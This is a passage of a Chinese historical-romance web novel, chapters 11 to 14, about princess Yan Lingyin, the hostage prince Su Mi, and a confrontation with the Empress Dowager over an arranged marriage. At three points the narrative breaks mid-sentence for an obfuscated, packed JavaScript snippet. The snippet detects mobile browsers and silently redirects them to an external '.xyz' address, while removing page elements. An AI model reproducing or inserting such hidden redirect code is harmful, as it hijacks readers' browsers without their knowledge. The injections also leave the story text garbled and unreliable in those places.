魏收心里倏地一跳。可等他凝神再看时,那抹笑已经不见了,那人只是安静地看着晏泠音,带了点倦意和难言的……怜悯。 11. 白雀 晏泠音跪在那里,久久没有起身。耳侧垂落的碎发遮住了她的眼,从旁边看过去,只能见到她鼻梁边落下的暗影和淡色的紧抿的唇。 苏觅看了很久。 他忽然想起幼时见过的一只白雀。因为毛色罕异被献入宫中,又被顺理成章地赐给了他那骄纵的王兄。苏自膺办酒宴时,会把它拎出来逗它唱歌,得意洋洋地展示给一众富家公子们看。他也看,有时跟着笑笑,附和一句真是天生的奇物。 他其实很喜欢那只鸟。 它很安静,总是敛着翅膀待在笼子里,用一双黑豆子般的眼睛看笼外的人,一副心事沉沉的模样。它也很漂亮,有一身洁净的素色羽毛,在阳光下会泛着白玉似的润泽的光,只在尾巴尖上缀了一点豆大的红。它的喙也是鲜红的,偶尔啄一口水,又变得湿漉漉的,让人忍不住想伸手去揉一把。 苏自膺逗它时,它不跳不闹,只是带了点厌烦地看着它,实在受不住了便开口叫两声,引起一片哄笑。 它很累,苏觅看得出来。它和他一样。 后来那只白雀死了。它僵硬的尸体被扔在苏觅居住的殿外。那天下了阵雨,地上泥泞一片,它就躺在那摊泥水里,向来一丝不乱的羽毛上糊满了烂泥,散发出令人作呕的臭气。 苏觅蹲下身去将它拾起,抚了一下它睁得大大的眼睛。下一刻,他感觉有人停在了他的身前。 “你杀了它。”苏自膺居高临下地看着他,依然用着那副得意洋洋的语气,脸上是压抑不住的恶劣的笑,“我要告诉父王。” 许是被他的眼神吓到了,苏自膺猛地后退一步,愤愤道:“下贱东西,留你在这里都是父王开恩,要我说,当初就该把你和那贱婢一起赶出宫去,眼不见为净……” 那张丑陋的脸忽然便离他很近,苏自膺竟又俯下身来,伸手想要摸他的脸颊,笑得邪狞:“只可惜这样一张如花似玉的脸,怎么就生在了一个男人身上,若你是女子,王兄我……” 凄厉的惨叫声响起时,苏觅闭上了眼,将冷笑闷在喉中。 “苏公子。”忽然有人唤他。 他睁开眼时,眼底未褪的血色一闪而过。 “嗯。”苏觅温声应着,半阖了眼垂眸看向晏泠音。他扫过她眼尾那片可疑的红,目光最终落在她充血的唇上。方才还没有这么红的,她应该咬得很用力。 她的眼睫上还沾着水汽,有几根粘在一起,但她忍得很好,连一道泪痕都没有。 “今日多谢公子相助。以后若有机会,定当登门致谢。” 他确实想再约一个“以后”,但方才和晏泠音并肩闲谈了一阵,倒也把她想问、他能说的那些事都给谈完了。 说到底,还是怪阿承来得太晚,苏觅边含笑道“客气”,边转过目光,凉凉地瞥了阿承一眼。 那小子刚带人溜了一圈,正得意着,被他这一看,瞬间就僵住了。 晏泠音也注意到了他的视线,不知为何偏头看了眼魏收,随后开口:“我的玉佩,不知可在公子身上。” 她把话说得委婉,没明着点破,苏觅便也跟着装傻。他先是一脸惊讶,随后便往阿承那边看去,皱起了眉:“阿承,你磨蹭这么久,原来是去偷了人家姑娘的玉佩?” 阿承被他问懵了,眨了两下眼,黑亮的瞳孔中满是真诚的不解。 他不动声色,继续痛心疾首地责问道:“怎么能偷姑娘家的东西呢?到底是我惯坏了你,出门在外也不知道改一改性子。快去把玉佩还给人家,再好好赔个不是。” 阿承的神情看上去好像被暴打过。他见苏觅真作出了一副自责揪心样,全然没有帮他的意思,只能硬着头皮挪到晏泠音身前,俯身向她“赔罪”:“姑娘的玉佩雕得好看,小人爱收集这些,一时忘形,还望姑娘恕罪。” 晏泠音的目光从阿承弓着的脊背上扫过,又落回到他的身上。苏觅只觉那道目光在自己身上停得格外久,看得也格外认真。 半晌她才道:“无事。” 那枚玉佩回到了她的腰间,苏觅不觉盯着看了一会儿。是上好的青玉,澄澈如雨过后的天色,一面平整光滑,另一面刻着一片花纹,和她马车檐角铃铛上的一模一样。 “姑娘可要随我回去?” 他伸手去怀中取那只烛台,却听见了晏泠音的声音:“不劳烦公子,我们就此别过。” 苏觅伸到一半的手在空中停了停,良久才温然笑道:“好。” 抬起头时,晏泠音已领着魏收走远了,只留给他一道孤瘦的背影。 * 出了菩提园,又走了一段路后,魏收才低声向晏泠音道:“姑娘,那个叫阿承的身手有些古怪,像是幽国人。” 晏泠音正在琢磨方才之事,闻言一怔:“幽国?” “是,他所学驳杂,似乎非只一家,但其轻功绝非寻常江湖门派所授。若小人没有认错,那是独属于幽国王室的归云步。” 近百年前,幽成王苏世清创立逐风阁,网罗天下异士,举阁上下只听命于幽王。阁内有两道秘技,一曰拂雪,一曰归云,前者为剑法,后者为轻功,皆精妙无伦。但当今幽王即位时,逐风阁拒不事主,遭到极其惨烈的屠戮,自那之后便没了声息。 难道那个阿承,竟是出身于逐风阁? 晏泠音忽然记起,苏是幽国的国姓。 “魏大哥,还要劳烦你去查一查,今日这位苏公子和他那位侍从,究竟是什么来历。” 魏收点头道:“便是姑娘不说,小人也会去查的。逐风阁消隐已久,却突然出现在我大梁的京城,确实有些奇怪。” 晏泠音沉吟片刻,又补充道:“还要查吕绍回京前的形迹,及其在京中常去之地。不日青荷会有家信给你,介时,务必转呈大理寺江少卿。他那里若有话,也需让青荷告知我。” 魏收应了声是。他本想和晏泠音提一句那个苏公子的可疑之处,转头看见晏泠音揉着额角,便改了口担忧道:“姑娘可是乏了?前头可以叫车,到了车上,姑娘将就着歇一歇吧。” 她确实觉得头脑有些昏沉,上了车后便阖眼靠在了厢壁上。或许是近来缺眠,今日又经历了不少事,随着马车的颠簸,她竟短暂地睡了一觉,甚至还做了个梦。梦里她穿着厚袄,戴了压到眉毛的绒帽,应当是个冬天。 她见到了杜慎。 “先生。”她俯下身向杜慎行礼,恭恭敬敬地,“学生做错了事,请先生责罚。” 天冷得厉害,东云台滴水成冰。她余光瞥见屋檐下挂了一溜冰棱,在阳光下映照出五色的光。檐角上挂了个铃铛,被风吹得左右轻晃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431893|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叮铃作响。 江渊然就站在那铃铛下,背对她靠着廊柱。他在等她。 “殿下错在何处?” 杜慎前几日染了风寒,如今尚未痊愈。他说上几个字便要咳两声,嗓音却依旧严厉,听在耳中很有些威慑力。廊柱旁的人似乎往这里看了一眼。 此时天色已然不早,再过不久宫门便要落锁了。江渊然还留在此地,也不知道今晚还赶不赶得及出宫。 回过神来,晏泠音垂了头应道:“学生不该给皇兄添乱,惹他生气,还说再也不来东云台了。” 她尽力让语气显得沉痛,却仍透出些压抑不住的欢悦。她那位皇兄对杜慎相当无礼,屡屡出言轻慢,台内诸生亦有不喜他的,只碍了他天潢贵胄的身份,不好多说什么。但她不怕。 曾有一段时间,她是父皇最宠爱的公主,爱养猫便养,想入学读书便读,只要是她要的,哪怕是天上的星星都能摘下来给她。她之所以没被养出骄纵跋扈的性子来,还得归功于东云台那几年,归功于杜慎。 “五皇子毕竟是殿下的兄长,若让陛下知道兄妹不睦……” 杜慎训她时,晏泠音悄悄抬眼去看江渊然。他站得板正,看起来比那廊柱还直,正极其认真地研究院内那光秃秃的杏树。她有心想让他先走,别误了归家的时辰,奈何他总不往这里看,急得她出了半身汗。 杜慎终于停了训诫,却并不是因为说完了,他微皱了眉往廊下看去,问道:“什么声音?” 屋内安静下来,檐角那只铃铛便格外引人注意,正好一阵风绕过檐廊,让它叮铃响个不停。 杜慎跟着便看到了铃铛下的江渊然,眉头皱得更紧了。 晏泠音心道不好,正要说些什么,江渊然却感知到了杜慎的目光,自己走了过来。他站到晏泠音身侧行了个礼,这才开口道:“是学生挂上去的。” 她立刻反驳:“是我挂的!” 倒真是她挂的,连铃铛上的花纹也是她刻的,江渊然不过帮她扶了把椅子。但现在他却朝着杜慎俯下身去,诚恳道:“学生一时贪玩,忘了此处是宫禁重地,还请先生责罚。” 杜慎看看他,时而又转过目光来看晏泠音,好半晌都没说话。那种目光里隐着些她看不懂的东西,落在江渊然身上时便格外明显。 他最后叹了一声,伸手将江渊然扶起。 “殿下听得进你的话,你更该劝着她些。她在这高台之上,一言一行都被旁人看着,出不得半点差错。” 就在她的身边,她感觉江渊然的肩膀颤了一下。 此后的梦境便有些模糊,画面也断断续续,似乎是她答应了向皇兄认错,又和江渊然辞了杜慎,一同出了东云台往宫门走。那不是她回怡和殿的路,但她日日这么绕一趟,早已成了习惯。 临到宫门时,江渊然见她有些郁郁,便同她说了句什么,她听着就笑了起来,却没有立刻答他。 他说的是什么? 晏泠音的头隐隐作痛。她努力回想着,却一个字也记不起来。伴随着吱嘎一声刺耳的噪声,她只觉身子颠了一下,江渊然的脸便伴了那冬日的寒气,雾一样地散开了。 “姑娘,到宫门外了。”魏收隔了车帘轻声唤她。 她坐了片刻,伸手按了按额角,揭帘下了车。 12. 琴心 刚看见怡和殿的重角飞檐,守在门边的青荷已匆匆迎了上来。玉染原本在晏泠音身后打着哈欠,瞥见青荷的脸色,又硬生生把哈欠忍回去了。 她知道青荷姊姊向来心细,殿下有没有私自溜出宫去玩,她总是扫一眼便能看出来。而殿下自然是怪不得的,到头来又得逮着她,不轻不重地埋怨一顿。 可她也不是有意偷懒的,殿下不让她跟着,她就算再想出宫,也不能厚着脸皮蹭上去啊! 在镜华园扑了一日蝴蝶的玉染瘪了瘪嘴,背在身后的手悄悄攥紧。她袖中还藏了只拿鼠曲草编的草盒,盒里盖着她好容易才捉到的蛐蛐儿,方才闷了它一路,也不知有没有把它憋坏了。 谁知她手一动,那蛐蛐福至心灵,“唧唧”地叫了两声,在这暮色四沉的寂静中显得格外……动听。 她一下子不敢再去看青荷的脸,丢下一句“殿下饿了我去给殿下备晚膳”,便逃也似的钻进了怡和殿。手里还紧紧攥着那编得极其细致的草盒。 晏泠音先轻声笑了起来。玉染这个谎撒得不高明,但毕竟是因她而起,她有心帮着圆一圆,便也跟着往殿中走,顺口问青荷道:“母妃可歇下了?” 青荷这才收了她那恨铁不成钢的目光,应道:“娘娘刚进了药,现下应当去佛堂了。” 淑妃礼佛虔敬,每日都要诵上两个时辰的佛经,其间不喜旁人打扰。晏泠音点了点头道:“那便罢了。” 她兴致不高,青荷显然也察觉到了,犹豫片刻便转开了话头:“午后有宁寿宫的宫人过来,说是请殿下明日申时去一趟。” “宁寿宫?”这倒是出乎她的意料,晏泠音微微皱眉,下意识道,“皇祖母找我?” 当今皇太后是陛下的嫡母,但同陛下并不亲近。当年淑妃入宫之时,母子间还闹过一场,这是整个后宫都知道的事。怡和殿无论盛时衰时,都受了不少宁寿宫的冷眼。晏泠音不是迟钝的人,即便在很小的时候都能感觉到,这位皇祖母不喜欢她的母妃,连带着也不喜欢她。 十几年来,她踏进宁寿宫的次数屈指可数,只在一些避不开的节庆日上才去走一趟,像这样被太后单独召见,还是头一回。 “宫人可有说为了什么?” 青荷也觉困惑,摇头道:“未曾。” 事出反常,晏泠音不信她那位高傲的皇祖母有找她聊天的雅兴,但她隐约记得,太后的母家崔氏与谢氏交好,而她要嫁的那位泾州的小将军,正巧姓谢。 如此……明日这场会面的目的,也不算难猜。 晏泠音自嘲地笑了笑。她不愿再细想下去,放慢脚步,嘱咐青荷道:“我今日在西阁用膳,把前年埋的酒拿两坛来。”她已料到青荷会反对她饮酒,跟着便补了一句,“倒是好酒,埋了几年,再不喝可就喝不上了。” 果然,青荷听了这话只抿了抿唇,没再说什么。 天气闷热,西阁虽敞了门窗,却仍积了满室未消的暑气。好在后窗下是大片将开未开的滴翠莲,花池上时有风过,凉丝丝的,还挟着清淡的甜香,让人心情畅快不少。晏泠音在外面跑了一天,着实有些饿了,却不急着动筷,只慢慢地斟酒,慢慢地喝。 真是奇怪,她明明没有想任何人、任何事,那满池青翠的花叶却在她眼前浮动起来,隐隐绰绰地,化作了大片枯死的菩提树。 菩提树下有满身血污的人影,她看不清。 “青荷,”她晃着手中的杯盏,轻声道,“你记得这酒的名字吗?” 玉染饿得狠了,在一旁狼吞虎咽,并没注意她们的对话。青荷瞥了她一眼,也轻声道:“奴婢记得,是玉堂春。” 她一直在给晏泠音夹菜,劝她多少吃一点,别只顾着喝酒,自己却没吃什么。晏泠音望着她笑:“它还有个名字,叫南阳米露,因为它产自南阳。先生走前同我说,他好些年没回南阳了,想再喝一盏家乡的米酒。” 青荷一时说不出话,眼圈已经红了。 “京中都说先生从不饮酒,朝官们有时私下聚一聚,也从来不敢喊先生。谁能想到,先生临走之前,却惦记着这口南阳的酒呢。” “殿下……” “青荷,”晏泠音望着杯中半透的酒液,声音平平,“是我对不起先生。” “殿下说什么呢。”青荷下意识地反驳,勉强挤出一个笑来,“本想着殿下喝了酒能开心些,怎么反而说起糊涂话了。奴婢就记得,杜老先生可看重殿下了,说自孝明太子殁后,殿下是这一辈中最勤苦、最聪颖的。” 她扮了男装入东云台,皇帝是知道的,当然也授意了杜慎。淑妃盛宠之时,或许不只是杜慎,满朝都曾琢磨过圣意,猜梁国要出一个皇太女。毕竟晏瞻死后,储位无故空悬数年,不少人说,那是陛下给淑妃的孩子留着位置呢。 晏泠音嘴角泛起浅浅的笑:“话是这么说,先生可没少罚我,我在东云台罚的站,恐怕比台中公子加起来的都要多。” 青荷见她笑了,心中才稍稍放松了些,附和着道:“老先生是盼着殿下成器呢。” 话音未落,晏泠音唇边的笑已消隐不见。她闷不做声地又喝了半盏,便朝两人道:“我想一个人坐会儿,你们先下去吧。” 些微的酒意涌上来时,她脸上发热,起身走到了窗边。菩提树焦枯的巨大影子仍半隐半现地罩在莲花上,像驱不开的迷雾。晏泠音忽然想起了昨夜梦中的血栀,还有今日在吕家见到的槐木……这些事都是巧合吗?这样凑巧地发生在杜慎的忌日? 在宫中生活久了,人总会有些说不清道不明的直觉,会无故心慌亦或无端心喜。晏泠音将窗扇阖上一半,想自己可能是醉了。 可偏偏头脑还那样清明。 琴声是在这时响起来的。不知是谁借了夜幕的遮掩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431894|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抚琴弄弦。晏泠音倚着窗听了一阵,心念微动,不自觉地把窗扇又推开了些。 弹琴者显然情绪不高,弦音低而呜咽,似泣似诉,初听还不觉得,听得久了,连脏腑都跟着翻滚起来,被琴声勾得揪成一团。宫中本不该有这样的哀音,待晏泠音回过神来,想辨别它的来处,但一曲已歇,此后暮色寂寂,那琴声再未响起来过。 可她认得这首曲子,那是《南阳景》,和她喝的这坛酒一样,来自杜慎的家乡。曾几何时,她同江渊然一道给杜慎过寿,两人还合奏过几次。只是《南阳景》原本的曲调欢悦流畅,奔涌如化了冻的春水,今日却被人改得变了调,低徊哀婉,仿佛霎时就入了深秋,以至于她乍听之下竟没立刻认出。 是谁,在今天这个日子弹奏《南阳景》? 曲中的情绪虽然被压抑过,但并不难听懂,尤其是对晏泠音来说。凄厉、哀怨、不甘……那样沉重的心绪被细细密密地织进了琴音,又以那样轻盈的形式发散开来。她几乎能够肯定,琴师在思念一个人。 那个人也来自南阳吗?琴师对那个人,也怀着如她一样的愧疚吗? 晏泠音早就知道乐音能唤起人藏在最深处的东西,但当她感到面颊发凉,伸手去抚时,还是吃了一惊。 她很久没真正流过泪了。 * 第二日,晏泠音没有去秘书阁,而是依言前往宁寿宫。走到半路,却被意外地耽搁了一阵。 她遇到了晏憺。 镜华园里花木郁郁,小皇孙仗着个头小,身子灵活,钻来钻去地和一大波宫人玩捉迷藏。他笑得开心,老远便能听见,只是苦了身边的宦官宫女们,又担心他磕了碰了,又怕惹他生气,只能边气喘吁吁地跟着跑边小声央求:“殿下慢些……” 他是晏瞻唯一的儿子。当年太子妃听到白水河的噩耗后肝肠寸断,强撑着生下了晏憺,没过多久便随太子去了。太后一直宠爱晏瞻,也挂心曾孙,便将他接入了宫,养在自己膝下。 可即便有太后的精心教养,晏憺身上还是逐渐现出了异样。他刚生下来就没有哭声,长至三岁才将将开口叫人。后来,流言在宫内宫外皆不胫而走,都说这位皇孙天生便是痴子。 或许是太子妃孕中伤心太过,气血有亏的缘故。 生在皇家的痴子也不知是幸还是不幸,但这确实让他平平安安地长大了。皇帝因了怜悯,时不时会过问几句,太后也尽职尽责地照料着,多年来从未出过纰漏。 不知今日带晏憺出来的是谁,乳母桂娘,还是太后手下那位掌事宫女? 晏泠音眯起眼在草木间寻觅着,却望见了一个不曾料到的身影。 那人个子极高,因而比一众宫人们都要显眼。他裹着玄色的罩衫,半张脸隐在银白的面具之下,正低着头在看晏憺,唇边有浅淡的笑。 苏觅?他怎么会在这里? 13. 偶遇 正在花木间乱跑的皇孙忽然绊了一跤,苏觅下意识迈步去扶,但到底隔了些距离,皇孙已毫不在乎地爬了起来。又有一群惊慌着涌上来的宫人呼啦围了过去,眼看是用不着他了,苏觅就保持着那个微微俯身的姿势,摇了摇头,有些无奈地勾了下唇角。 直起身来时,他的目光和晏泠音的撞在一起,胶着了几秒。 谁都没有移开视线。 苏觅的眉毛微微扬起,显得颇为诧异。过了片刻,他才迟疑道:“……闻姑娘?” 神情、语气,还有那自然而然的惊讶,样样都拿捏得恰到好处。晏泠音抿唇打量着他,一时没有应声。 但这已经引起了晏憺的注意,他丢下被他惹得团团转的宫人,兴奋地朝她扑了过来:“姑姑!” 他这一扑,方才摔倒时手上蹭的湿泥,已尽数糊到了晏泠音的身上。偏偏他还揪着她的衣摆,眼巴巴地仰脸看她:“姑姑,你好久都不来看我了。” 小孩的眼睛总是很大很黑,睫毛也纤长浓密,被这样一双卖乖的眼睛盯着,确实让人心里发软。 晏泠音一向不喜小孩子,更讨厌脏兮兮的小孩子,但或许是因为晏憺的身世实在可怜,她没把他推开,只轻抚了一下他的发顶:“是姑姑不好,姑姑太忙了。” 抬眼时,她再次撞上了苏觅若有所思的目光。 她其实只比晏憺大几岁而已,可他一口一个姑姑,叫得相当起劲:“姑姑今天陪我玩好不好?憺儿想姑姑了,憺儿请姑姑吃好吃的。” 他说着话,便真要拿黑乎乎的手去兜里掏东西,晏泠音赶忙制止:“我不饿。今日要上皇祖母那儿去,只能改天陪憺儿了。” 宫里的孩子大多都怕太后,晏憺养在太后膝下多年,却也没能同她亲近起来。他听了这话,下意识畏缩了一下,却还是牵着晏泠音的衣角舍不得放开,偷偷拿眼去觑苏觅,想要给自己搬救兵。苏觅看了看他,又看了看晏泠音,唇角再度扬了起来。 “改日吧。”他上前两步,轻轻牵过晏憺的手,“你姑姑今日不方便,我们别耽误她。” 他牵得那样轻易,方才还犟着不肯松手的晏憺忽然变得极乖,明显爱听他的话。晏泠音瞥了眼旁边行礼的宫人,俯下身去问晏憺:“告诉姑姑,这位公子是谁?” 没等晏憺回答,苏觅已轻声道:“在下姓苏名觅,已经告知过……姑娘,不知姑娘可还记得?” 晏泠音恍若未闻,目光仍落在晏憺脸上,等他开口。 “是憺儿的小苏叔叔,”晏憺眨巴着眼睛,认真答道,“五皇叔带他进宫来的,常常给憺儿带吃的呢。是么,小苏叔叔?” 最后一句是对苏觅说的,他也笑着点头认可。晏泠音这才抬眼看向他,微微皱起了眉。 晏憺这一提,倒让她记起来了。就在晏憺出生那一年,北方战事大捷,幽王派使者求和,送了最小的儿子前往梁国为质。幽王室的年轻一辈从大公子苏自膺开始,取名皆从自字,唯有小儿子是个例外。因而在苏觅说出他的名字时,她并未立刻想到幽国王室。 传闻这个质子性格孤僻,鲜少见人,只因他下得一手好棋,因而和嗜棋成痴的五皇子成了知交。晏憺口中的五叔叔,显然就是她的五皇兄,安贵妃的儿子晏眆。 但这样想却也更怪异了:一个被软禁在宛京的幽国质子,怎么会认识梁国的朝官吕绍,身边还跟着早已销声匿迹的逐风阁的人? 他结交晏眆便罢了,为何连晏憺也待他如此亲热? 晏泠音思绪转得很快,她凝神时眉眼微垂,显得格外乖巧认真。苏觅看了一会儿才悠悠出声:“我却还记得姑娘的名姓,只不知现在是否该改口?” 话已至此,倒也不必再遮掩。晏泠音回了神,冲他点了点头:“公子身份尊贵,但此处毕竟是我大梁国都,需唤我一声殿下。” 苏觅眯了眯眼:“在下冒昧,不知殿下是……” “我是梁国的惠和公主,本姓晏,闻暄是先师为我定下的字。此前匆匆一面,对公子有所隐瞒,还望公子海涵。” 她说得坦率,苏觅眸中闪过一丝兴味:“不敢。” 他们两人在吕家和菩提园走的那一趟要是传了出去,想来不只对她,对苏觅也会有不小的困扰。他显然也想到了这一点,带了点笑轻声道:“我来梁国数年,今日才初见殿下玉容,着实遗憾。” “公子客气。”晏泠音后退两步,往宁寿宫的方向看了一眼,作出要走的样子,“失陪了。” 苏觅却忽然叫住了她:“殿下稍待。” 她转头时,便看见那个高瘦的男子在她面前蹲下了身。他已松开晏憺的手,从怀中取出一方洁白的巾帕,抚上了晏泠音的衣襟。等他站起身来时,晏憺留下的污印已消了大半,要细看才能看出浅淡的痕迹。 “臣,”他说完这个字顿了顿,才笑着往下接道,“失礼了。” 今日她出门早,时间还算宽裕,晏泠音本打算回怡和殿换身衣裳再去宁寿宫,免得在太后面前失仪。但就这样带着两只泥手印走在宫道上,也着实有些尴尬,苏觅这样做,确实是帮了她的忙。 可晏泠音的身子还是僵了一瞬。青荷就站在她的身后,不远处还有一大片乌泱泱的宫人,这个幽国王室的小公子,为什么要冒着被判大不敬的风险亲自动手,做此等仆从之事? 他靠过来时,晏泠音闻到了熟悉的、清苦的药香。 苏觅没有再看她。他慢慢地将被弄脏的巾帕细致叠起,又伸手将尚在迷糊中的晏憺牵过。 “臣告退。” * 虽说一路紧赶慢赶,到宁寿宫时还是误了半刻钟。晏泠音刚迈入殿中便听见了崔太后的声音:“惠和近来好大的脾气,连哀家也该着等你了。” 镜华园的事不可能没有上报太后,她分明知道晏泠音为何来迟,只是借这个由头敲打她罢了。晏泠音知道辩解无益,拂了袍摆在阶前跪下:“泠音来迟,请皇祖母责罚。” 半晌没听到崔氏的声音。宁寿宫空旷寂静,寒气深重,她的膝盖受过旧伤,此时在地上跪了一阵,已隐隐地痛了起来。晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14431895|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泠音没有抬眼,只安静地盯着面前的地面。她很清楚,顺从是唯一合适的让崔氏消气的办法。 终于,崔氏的声音又沉沉响起:“抬起头来。” 她背挺得很直,跪姿也端正,微仰了脸目视前方时,神色谦和恭顺,确实挑不出半点礼节上的错来。即便在宁寿宫昏暗的光线里,仍然不难看出,这是个难遇的美人。 很像她的母亲。 崔氏冷冷地端详了一阵,又让她跪了片刻,这才转头吩咐道:“把东西拿给她。” 晏泠音闻言便伸出手去,一只被拆去火漆的信封搁在了她的掌心。 “皇祖母,”她扫了一眼那绛红色的信封,这才说了入殿后的第二句话,“这是何意?” 她确实困惑。这只信封的质感厚重,触手生腻,但其规格又非她曾见过的官家书信,更像是贵族公子小姐的私笺。她本以为崔太后要和她谈一谈婚事,现在却有些费解了。 “既是给了你,”崔太后不带感情的声音再度响起,“就拆开来看看。” 晏泠音垂首道了声是。 素白的信纸被她轻轻抖开。纸上的字迹凌厉如刀,笔笔皆恣肆张扬,她虽未见过,却不难推知写信者的性格。 开头便是一句:吾妹阿婉。 晏泠音看着看着,不觉皱起了眉。它不长,却太过私密,不是一封适合公开的信。写信者先简单表示了对“阿婉”家中人的问候,随后突兀地转了话头,说自己暂时没有成家的打算,若是遇不上让他动心的女子,他情愿终身不娶,就这样与疆场的风沙相伴,也好过和不爱之人相互折磨。 看到疆场二字时,晏泠音心中忽动。她的视线慢慢下移,落到了落款处那个名字上。 兄朗。 原来……晏泠音无声地长出了一口气。 她的婚事还未有明确的旨意下来,知者不过寥寥。但不论如何,谢家那边的口风是要探的,崔太后这位压在六宫之上的娘娘亦是需要知晓的。她只是没想到谢小将军会如此大胆,直接一纸拒婚的信笺寄到了宛京,又辗转呈进了宁寿宫。 那封信的最后写着,问皇奶奶安。她倒不知,谢朗同太后竟这般亲热。 崔太后阴冷的目光落在她的脸上,又凉又黏。晏泠音面上没什么表情,只不动声色地将信纸叠好,装回到信封里。其实谢家这步棋走得不算好,崔氏这么做,无非是要羞辱她,别说是一国公主,便是寻常百姓家的女儿看到将嫁之人和另一个女子这般亲热,也很难忍下这口气。太后是要晏泠音自己闹上一番,让皇帝也面上无光,最好直接作废这门亲事。 若是放在数年前,她或许真的会这么做。 但若是真在数年前,她从一开始就不会答应嫁给谢朗。 难道是她自己执意要去泾州吗?崔太后不笨,谢家也不笨,他们都看得清楚。 惠和公主嫁的哪里是谢朗,她嫁的是他手上那支泾州兵。 今日也不是她同崔婉在争什么郎君,是她晏氏皇族和崔氏外戚,在争这兵政上的一席之地呢。 14. 对峙 “皇祖母,这是何意?” 偌大的宁寿宫寂静无声,晏泠音跪在阶前,问完这句便微微垂了头,脖颈弯出柔和的弧度。她打定了主意装傻,谢朗那封信是言辞激烈了些,但也没指名道姓地拒绝她,毕竟有皇家的颜面摆在那儿,崔太后还能逼着她生气不成? 崔太后确实没逼她。 “惠和,”她的语气平缓,若不是晏泠音还跪在冰冷的地面上,同她隔了数级石阶,此情此景,倒真有些祖孙闲谈的亲切味道,“你自小就是孙儿辈里最聪明的一个,论相貌,论性格,天底下怕也找不出第二个。哀家知道,你当年跟着杜慎学了不少东西,比你那没定性的兄弟踏实不少。后来他走错了路,连累了你,哀家还着实惋惜了一阵。” 这种刺人的话听得多了,晏泠音已能做到不动声色。她只轻眨了下眼,依旧保持着乖顺而恭敬的姿态。 “哀家也知道,你心气高傲,凡事都有自己的想法。这却要怪阿敏,她带出来的孩子,同她简直是一个模子刻出来的。” 头一次在太后口中听到母亲的小名,晏泠音不觉怔了一下。下一刻,崔氏冰冷的嗓音又再度响起:“可惜她一时糊涂,嫁错了人。” ……一时糊涂? 满身的血液叫嚣着涌往头顶,却又在转瞬间化为一片冰凉。仿佛不只是她的膝盖在隐隐作痛,而是全身上下都针扎般刺痛起来,迫得她收紧了呼吸。 她一向不喜欢崔太后的傲慢做派,但却是此时才真正生了厌憎之心。 凭什么一个百般为难她母亲的人,还能高高在上地指点她选择的爱情? 真正糊涂的,应该是那位丈夫吧。 崔太后像是能听到她心中所想,跟着便悠悠道:“懿儿也有些做得不得当的地方,他是君王,哪能那样感情用事?他为了阿敏和哀家翻脸,还得罪了半个朝堂的官员,在旁人看来,那是多大的荣宠啊。可是惠和,你是个读过书的姑娘,你应当能理解,哀家为什么担心吧?” 晏泠音把头更深地埋了下去,反攥着衣袖的手在微微发抖。她深呼吸了几次。 “皇祖母,母妃并没做错什么。” “是,”崔太后居然点了点头,“阿敏是个好孩子,但这桩婚事从最开始就错了。后宫这么大,哀家也不是眼里容不得沙子的人,为什么总盯着怡和殿?惠和,哀家是替她可惜啊,她这样一个女人,若是留在民间,什么样的好日子过不得?偏偏要不甘寂寞地往上爬,反倒把一辈子埋没在这深宫里,哀家替她不值。” 强行压下去的火气终于被点燃,晏泠音抬起头,直视高台之上的雍容女子:“皇祖母这话,可也同父皇说过?” 崔太后看了她半晌,缓缓叹了口气。 “惠和,哀家今日找你来不是为了你母妃,她的事已经过去了,但你没有。你的好容貌,好年岁,是再多荣华富贵都换不到的。莫要像你母妃那样,为不该碰的人误了青春。” 晏泠音冷冷一笑。 “泠音知道,皇祖母嫌母妃出身微贱,不配入天家的门。但泠音是父皇亲封的公主,论身份,论地位,怎么看都是谢家高攀了。” “不错,”仿佛就等着她这句话,崔氏当即便应了下来,“朗儿是我看着长大的,性格顽劣,日后当他的夫人,不知要受多少折磨。何况他同婉儿自小青梅竹马,情投意合,真要就这样拆散了,也着实叫人遗憾。” “可雷霆雨露,皆是君恩。”晏泠音慢慢道,“天家降恩,为人臣子理应谢恩承宠,泠音不敢因私情误了人臣之道。至于崔家姑娘的事,相信谢小将军自有办法妥善处理。泠音也不会不通人情,定要做棒打鸳鸯的事。” “你这孩子,真以为那是什么好去处?”崔太后见她连共事一夫的话都说了出来,不觉皱起了眉,“如今圣意未定,此事尚有转圜的余地,边关苦寒,且疆场厮杀刀剑无眼,你若真的去了,难保……” 未说出的后半句已近乎威胁,晏泠音却只觉好笑。圣意未定?她那父皇忌惮泾州许久了,绝非一时兴起。谢朗没有姊妹可以入宫,整个皇室又只她一个适龄的公主,她若不嫁,放着那十万精兵在边关,却叫她父皇如何安枕? 